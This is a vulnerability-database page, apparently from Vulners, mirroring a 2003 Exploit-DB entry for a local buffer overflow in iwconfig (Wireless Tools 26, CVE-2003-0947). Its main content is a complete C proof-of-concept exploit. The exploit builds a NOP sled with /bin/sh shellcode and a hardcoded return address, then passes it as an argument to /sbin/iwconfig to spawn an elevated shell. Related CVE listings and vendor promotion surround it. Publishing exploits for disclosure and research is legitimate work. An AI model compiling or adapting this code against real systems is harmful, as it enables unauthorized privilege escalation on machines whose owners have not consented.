Lucene search
+L

Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (3)

🗓️ 27 Oct 2003 00:00:00Reported by NrAzizType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Local buffer overflow in iwconfig allows elevated privileges for attackers via command line input.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2003-0947
18 Nov 200305:00
cve
cvelist
Cvelist
CVE-2003-0947
18 Nov 200305:00
cvelist
debiancve
Debian CVE
CVE-2003-0947
18 Nov 200305:00
debiancve
exploitdb
Exploit DB
Wireless Tools 26 (IWConfig) - Local Privilege Escalation
14 Sep 200500:00
exploitdb
exploitdb
Exploit DB
Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (1)
27 Oct 200300:00
exploitdb
exploitdb
Exploit DB
Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (2)
11 Nov 200300:00
exploitdb
euvd
EUVD
EUVD-2003-0937
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-0947
15 Dec 200305:00
nvd
// source: https://www.securityfocus.com/bid/8901/info

A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges.

/*
 * (C) 2003 NrAziz
 * polygrithm_at_hotmail[DOT]com
 */

/*
 * Greetz to Mixter,gorny,rave..
 */

/*
 * Description:
 *              iwconfig configures a wireless network interface and is similar to ifconfig
 *  except that iwconfig configures wireless interfaces.
 * Vulnerability:
 *               Instead of giving the interface parameter when a large string is given
 * the buffer overflows :-)...
 */

/*
 * Yet another Proof Of Concept Xploit for 'iwconfig'
 */


#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

  int i;
  char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

  for(i=0;i<BUFF_SIZE;i+=4)
    *(long *)&buff[i]=RET;

  for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
    *(buff+i)=0x90;

  memcpy(buff+i,shellcode,strlen(shellcode));

  execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

  return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01298
30